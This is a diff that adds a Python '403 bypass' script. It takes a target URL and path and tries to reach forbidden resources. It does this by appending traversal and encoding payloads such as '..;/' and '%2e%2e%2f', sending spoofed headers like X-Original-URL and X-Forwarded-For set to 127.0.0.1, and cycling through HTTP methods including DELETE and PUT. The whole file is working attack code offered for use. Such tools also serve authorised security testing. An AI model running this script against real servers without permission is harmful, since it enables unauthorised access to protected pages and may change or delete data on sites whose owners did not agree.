| 1 | + | import requests |
| 2 | + | import sys |
| 3 | + | import warnings |
| 4 | + | from colorama import * |
| 5 | + | import argparse |
| 6 | + | |
| 7 | + | |
| 8 | + | |
| 9 | + | print("""\u001b[36m |
| 10 | + | |
| 11 | + | ___ ___ ___ _____ |
| 12 | + | | | | |_ | | __ |_ _ ___ ___ ___ ___ ___ ___ |
| 13 | + | |_ | | |_ | | __ -| | | . | .'|_ -|_ -| -_| _| |
| 14 | + | |_|___|___| |_____|_ | _|__,|___|___|___|_| |
| 15 | + | |___|_| \u001b[0m |
| 16 | + | |
| 17 | + | \033[1;33;36m @channyeinwai(1.0) \033[1;33;0m |
| 18 | + | """) |
| 19 | + | warnings.filterwarnings('ignore', message='Unverified HTTPS request') |
| 20 | + | |
| 21 | + | parser = argparse.ArgumentParser(description="403 Bypasser : python 403-bypass.py -u https://www.example.com -p admin") |
| 22 | + | parser.add_argument('-u', '--url' , help = 'Provide url ' , required=True) |
| 23 | + | parser.add_argument('-p' , '--path' , help = 'Provide the path' , required=True) |
| 24 | + | args = parser.parse_args() |
| 25 | + | |
| 26 | + | url = args.url |
| 27 | + | path = args.path |
| 28 | + | |
| 29 | + | payloads = ["/","/*","/%2f/","/./","./.","/*/","?","??","&","#","%","%20","%09","/..;/","../","..%2f","..;/",".././","..%00/","..%0d","..%5c","..%ff/","%2e%2e%2f",".%2e/","%3f","%26","%23",".json"] |
| 30 | + | |
| 31 | + | full_url = url+'/'+path |
| 32 | + | slash_path = '/'+path |
| 33 | + | |
| 34 | + | for payload in payloads: |
| 35 | + | try: |
| 36 | + | full_url2 = url+slash_path+payload |
| 37 | + | req = requests.get(full_url2 , allow_redirects=False , verify = False , timeout = 5) |
| 38 | + | print(full_url2 + ' : ' + str(req.status_code)) |
| 39 | + | |
| 40 | + | except Exception: |
| 41 | + | pass |
| 42 | + | |
| 43 | + | for payload in payloads: |
| 44 | + | try: |
| 45 | + | full_url3 = url+payload+path |
| 46 | + | r = requests.get(full_url3 , allow_redirects=False , verify = False , timeout = 5) |
| 47 | + | print(full_url3 + ' : ' + str(r.status_code)) |
| 48 | + | |
| 49 | + | except Exception: |
| 50 | + | pass |
| 51 | + | |
| 52 | + | |
| 53 | + | |
| 54 | + | r1 = requests.get(full_url, headers={"X-Original-URL":path} , allow_redirects=False , verify=False , timeout=5) |
| 55 | + | print(full_url + ' : ' +"(X-Original-URL: "+ path + ')' + ' : ' + str(r1.status_code)) |
| 56 | + | |
| 57 | + | r2 = requests.get(full_url, headers={"X-Custom-IP-Authorization" : "127.0.0.1"} , allow_redirects=False , verify=False , timeout=5) |
| 58 | + | print(full_url + ' : ' + "(X-Custom-IP-Authorization: 127.0.0.1" + ')'+ ' : ' + str(r2.status_code)) |
| 59 | + | |
| 60 | + | r3 = requests.get(full_url, headers={"X-Forwarded-For": "http://127.0.0.1"} , allow_redirects=False , verify=False , timeout=5) |
| 61 | + | print(full_url + ' : ' + "(X-Forwarded-For: http://127.0.0.1" + ')'+ ' : ' + str(r3.status_code)) |
| 62 | + | |
| 63 | + | r4 = requests.get(full_url, headers={"X-Forwarded-For": "127.0.0.1:80"} , allow_redirects=False , verify=False , timeout=5) |
| 64 | + | print(full_url + ' : ' + "(X-Forwarded-For: 127.0.0.1:80" + ')'+ ' : ' + str(r4.status_code)) |
| 65 | + | |
| 66 | + | r5 = requests.get(url, headers={"X-rewrite-url": slash_path} , allow_redirects=False , verify=False , timeout=5) |
| 67 | + | print(full_url + ' : ' + "(X-rewrite-url: {}".format(slash_path) + ')'+ ' : ' + str(r5.status_code)) |
| 68 | + | |
| 69 | + | r6 = requests.get(full_url, headers={'X-Forwarded-Host':'127.0.0.1'} , allow_redirects=False , verify=False , timeout=5) |
| 70 | + | print(full_url + ' : ' + "X-Forwarded-Host:127.0.0.1" + ')'+ ' : ' + str(r6.status_code)) |
| 71 | + | |
| 72 | + | r7 = requests.get(full_url, headers={'X-Host':'127.0.0.1'} , allow_redirects=False , verify=False , timeout=5) |
| 73 | + | print(full_url + ' : ' + "X-Host:127.0.0.1" + ')'+ ' : ' + str(r7.status_code)) |
| 74 | + | |
| 75 | + | r8 = requests.get(full_url, headers={'X-Remote-IP':'127.0.0.1'} , allow_redirects=False , verify=False , timeout=5) |
| 76 | + | print(full_url + ' : ' + "X-Remote-IP:127.0.0.1" + ')'+ ' : ' + str(r8.status_code)) |
| 77 | + | |
| 78 | + | r9 = requests.get(full_url, headers={'X-Originating-IP':'127.0.0.1'} , allow_redirects=False , verify=False , timeout=5) |
| 79 | + | print(full_url + ' : ' + "X-Originating-IP:127.0.0.1" + ')'+ ' : ' + str(r9.status_code)) |
| 80 | + | |
| 81 | + | r10 = requests.get(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 82 | + | print(full_url + ' : ' + 'Using GET: ' + str(r10.status_code)) |
| 83 | + | |
| 84 | + | r11 = requests.post(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 85 | + | print(full_url + ' : ' + 'Using POST: ' + str(r11.status_code)) |
| 86 | + | |
| 87 | + | r12 = requests.head(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 88 | + | print(full_url + ' : ' + 'Using HEAD: ' + str(r12.status_code)) |
| 89 | + | |
| 90 | + | r13 = requests.put(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 91 | + | print(full_url + ' : ' + 'Using PUT: ' + str(r13.status_code)) |
| 92 | + | |
| 93 | + | r14 = requests.delete(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 94 | + | print(full_url + ' : ' +'Using DELETE: ' + str(r14.status_code)) |
| 95 | + | |
| 96 | + | r15 = requests.patch(full_url, allow_redirects=False, verify=False, timeout= 5) |
| 97 | + | print(full_url + ' : ' + 'Using PATCH: ' + str(r15.status_code)) |